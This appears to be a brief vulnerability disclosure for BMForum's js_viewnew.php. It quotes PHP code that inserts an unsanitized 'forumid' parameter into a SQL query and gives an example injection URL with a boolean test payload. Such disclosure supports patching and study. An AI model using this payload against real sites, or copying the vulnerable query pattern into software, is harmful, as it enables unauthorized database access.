# Author: Stephan Sattler
# Software Website: https://www.bmforum.com/
# Software Link: https://www.bmforum.com/down/
# Required: magic quotes = Off
 
[ Vulnerability ]
  
 /add-on/js_viewnew.php line 20++:
 
$length = $_GET['length'];
$forumid = $_GET['forumid'];
$num = $_GET['num'];
$forumnum=$forumid;
 
{....}
 
$query = "SELECT * FROM {$database_up}threads WHERE forumid='$forumid' ORDER BY 'changetime' DESC LIMIT 0,$num";
 
#Explanation:
 
$forumid($_GET['forumid']) isn't sanitized at all, an attacker could use this for an SQL-Injection.
 
#Example for an injection:
 
https://[site]/[folder]/js_viewnew.php?forumid=2'+AnD+1='1&num=1&length=1